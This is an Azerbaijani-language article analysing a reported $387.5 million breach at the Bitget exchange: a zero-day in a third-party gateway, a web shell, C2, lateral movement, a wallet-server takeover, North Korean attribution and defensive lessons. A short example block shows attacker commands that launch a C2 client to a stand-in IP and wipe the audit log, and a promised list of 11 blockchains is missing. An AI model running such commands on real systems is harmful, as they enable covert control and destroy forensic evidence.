Bitget 387,5 milyon dollarlıq kriptovalyuta oğurluğunun arxasında üçüncü tərəfə aid Zero-Day zəifliyinin dayandığını təsdiqlədi

Giriş və İnsidentin Xülasəsi

Kriptovalyuta birjaları tarixində təhlükəsizlik zəncirinin ən həssas halqalarından biri növbəti dəfə böyükmiqyaslı fəlakətlə nəticələndi. Məşhur mərkəzləşdirilmiş kriptovalyuta birjası Bitget, infrastrukturuna qarşı həyata keçirilən və ümumilikdə 387.5 milyon dollar dəyərində rəqəmsal aktivin oğurlanması ilə yekunlaşan kiberhücumun təfərrüatlarını rəsmən ictimaiyyətə açıqlayıb. Şirkətin apardığı rəsmi araşdırmaya görə, hücum birjanın birbaşa daxili nüvə sistemlərindəki zəiflikdən deyil, şəbəkə perimetrində istifadə edilən üçüncü tərəf təhlükəsizlik həllindəki sıfır gün (zero-day) boşluğundan qaynaqlanıb.

Kripto sənayesində şok effekti yaradan bu kiberhücum qabaqcıl blokçeyn təhlükəsizlik firması SlowMist və Google-un kibertəhlükəsizlik bölməsi Mandiant tərəfindən aparılan birgə rəqəmsal ekspertiza (forensics) sayəsində tam detalları ilə xəritələndirilib. Araşdırmalar göstərir ki, təcavüzkarların Bitget daxili infrastrukturundakı ilkin kəşfiyyat və sızma fəaliyyətləri hələ 31 avqust 2026-cı il tarixində başlayıb və həftələrlə gizli qala bilib.

Sıfır Gün Zəifliyi və İlkin Giriş Nöqtəsi

Hücumun texniki anatomiyası mürəkkəb təchizat zənciri (supply-chain) və perimetr cihazlarının istismarı ssenarisini nümayiş etdirir. SlowMist və Mandiant insident araşdırmaçılarının təhlilinə əsasən, təhdid aktoru təşkilatda tətbiq olunan üçüncü tərəf kommersiya təhlükəsizlik avadanlıqlarında (hesabatda şərti olaraq “Product A” və “Product B” kimi qeyd olunub) naməlum sıfır gün zəifliyini hədəf alıb.

İlkin sızma fazası aşağıdakı ardıcıllıqla reallaşdırılıb:

• Sıfır Gün İstismarı: Təhlükəsizlik şlüzündə (gateway) autentifikasiyasız kənar kod icrası (RCE) zəifliyi işə salınıb.
• Veb-şell (Web Shell) İnstalyasiyası: Hakerlər ələ keçirilmiş şəbəkə cihazında davamlılığı (persistence) təmin etmək məqsədilə xüsusi modifikasiya olunmuş veb-şell yerləşdiriblər.
• C2 Əlaqəsi: Yerləşdirilən zərərli proqram təminatı vasitəsilə təcavüzkarların Komanda və İdarəetmə (Command-and-Control – C2) serverləri ilə şifrələnmiş əlaqə kanalı qurulub.

Aşağıdakı nümunədə hakerlərin perimetr cihazında veb-şell fəaliyyətini gizlətmək və log təmizləmə prosesini icra etmək üçün istifadə etdiyi tipik bərpa izlərinə dair komanda strukturu əks olunub:

# Təcavüzkarın zərərli artefaktları gizlətmək və proses yaddaşını yoxlamaq üçün icra etdiyi nümunə komandalar
find /var/www/html/ -name "*.php" -type f -exec stat -c "%y %n" {} +
sh -c "nohup ./c2_client_daemon --endpoint=198.51.100.24:8443 > /dev/null 2>&1 &"
rm -f /var/log/audit/audit.log && ln -s /dev/null /var/log/audit/audit.log

Lateral Hərəkət və Pul Kisəsi Serverinin Ələ Keçirilməsi

C2 kanalı uğurla qurulduqdan sonra hücum edənlər perimetr cihazından Bitget-in daxili şəbəkə seqmentlərinə doğru lateral (üfüqi) hərəkətə başlayıblar. Bu mərhələdə hakerlər korporativ şəbəkədə yüksək imtiyazlara malik daxili bir əməkdaşın etibarnamələrini (credentials) ələ keçirərək istifadə ediblər.

Ələ keçirilmiş hesabla təcavüzkarlar şəbəkə seqmentasiyası maneələrini aşaraq birjanın ən kritik infrastrukturu olan əsas pul kisəsi iş serverinə (wallet job server) daxil olmağa nail olublar. Bu server aktivlərin saxlanması, əməliyyat növbələrinin emalı və tranzaksiyaların imzalanma məntiqinə cavabdeh olan daxili mikroservislərlə birbaşa inteqrasiyada çalışırdı.

Xüsusi Oğurluq Skripti və Zərərin Miqyası

Giriş hüquqlarını möhkəmləndirən hakerlər dərhal vəsait çıxarmağa tələsməyərək Bitget-in tranzaksiya infrastrukturunu həftələrlə dərindən analiz ediblər. 25 sentyabr 2026-cı il tarixində, yerli vaxtla saat 01:49-da avtomatlaşdırılmış kütləvi vəsait köçürmə əməliyyatı başladılıb.

Ekspertiza qrupu hücumdan sonra serverin fayl sistemindəki silinmiş blokları bərpa edərkən xüsusi tərtib olunmuş zərərli icra faylı aşkarlayıb. Bu avtomatlaşdırılmış alət sırf Bitget-in pul kisəsinin çıxarış (withdrawal) arxitekturasına və daxili API interfeyslərinə uyğunlaşdırılmış şəkildə yazılmışdı. Skript heç bir manual müdaxiləyə ehtiyac duymadan tranzaksiya növbələrini dəyişdirərək aktivləri əvvəlcədən təyin olunmuş təcavüzkar ünvanlarına istiqamətləndirib.

Hücum genişmiqyaslı olub və bütövlükdə 11 blokçeyn ekosistemini əhatə edib:

Şimali Koreya İzi və Blokçeyn Reaksiyası

Analitik tədqiqatlar hadisənin arxasında dövlət dəstəkli peşəkar kibercasusluq və maliyyə sabotajı qruplaşmalarının dayandığını üzə çıxarıb. Tədqiqat nəhəngləri Elliptic və TRM Labs tərəfindən aparılan on-chain və şəbəkə protokolu analizləri hücum zamanı istifadə edilən IP davranış nümunələrinin və tranzaksiya qrafiklərinin Şimali Koreya (KXDR) kiberbirliklərinə (xüsusilə Lazarus Group törəmələrinə) aid olduğunu təsdiqləyib.

Oğurlanan aktivlərin təcili şəkildə qarışdırıcılara (mixers), çarpaz zəncir (cross-chain) körpülərinə və mərkəzsiz birjalara (DEX) yönləndirilməsinə baxmayaraq, bəzi emitentlər çevik reaksiya verə bilib. Stablecoin təminatçıları Tether və Circle, eləcə də NEAR Intents protokolu dərhal hərəkətə keçərək təcavüzkarlarla əlaqəli ünvanlardakı təxminən 1.1 milyon dollarlıq vəsaiti qara siyahıya salıb dondurmağa nail olub. Lakin bu məbləğ ümumi 387.5 milyonluq itkinin fonunda olduqca kiçik bir hissə təşkil edir.

Kripto Sənayesi Üçün Dərslər və Nəticə

Bitget insidenti rəqəmsal aktivləri qoruyan mərkəzləşdirilmiş platformaların (CEX) qarşılaşdığı ən fundamental problemlərdən birini qabardır: kənar təhlükəsizlik təchizatçılarına həddindən artıq güvən. Daxili arxitektura nə qədər güclü şifrələnsə və multi-imza (multi-sig) sistemləri tətbiq edilsə belə, şəbəkənin giriş qapısında dayanan avadanlıqdakı sıfır gün boşluğu bütün mühafizə qatlarını yararsız hala sala bilir.

Hadisə kripto institutları qarşısında kritik tələblər qoyur:

1. Sıfır Etibar (Zero Trust) Şəbəkə Arxitekturası: Daxili idarəetmə və pul kisəsi serverləri heç bir xarici perimetr cihazından (hətta təhlükəsizlik cihazı olsa belə) birbaşa əlçatan olmamalıdır.
2. Aparat Səviyyəli İzolyasiya (HSM): Əməliyyatların imzalanması üçün nəzərdə tutulmuş iş serverləri internetdən tam təcrid olunmuş Hardware Security Module aparatları və fiziki təsdiq tələb edən qapalı mühitlərlə məhdudlaşdırılmalıdır.
3. Tranzaksiya Həddi və Anomaliya Bloklayıcıları: Müəyyən olunmuş vaxt çərçivəsində gözlənilməz kütləvi vəsait köçürmələri aşkar edildikdə bütün çıxarışları avtomatik donduran “circuit breaker” sistemlərinin tətbiqi məcburidir.

Bitget insidenti bir daha sübut etdi ki, blokçeyn dünyasında ən böyük itkilər çox vaxt blokçeynin riyazi protokolundan deyil, ənənəvi İT infrastrukturunun və təchizat zəncirinin istismarından qaynaqlanır.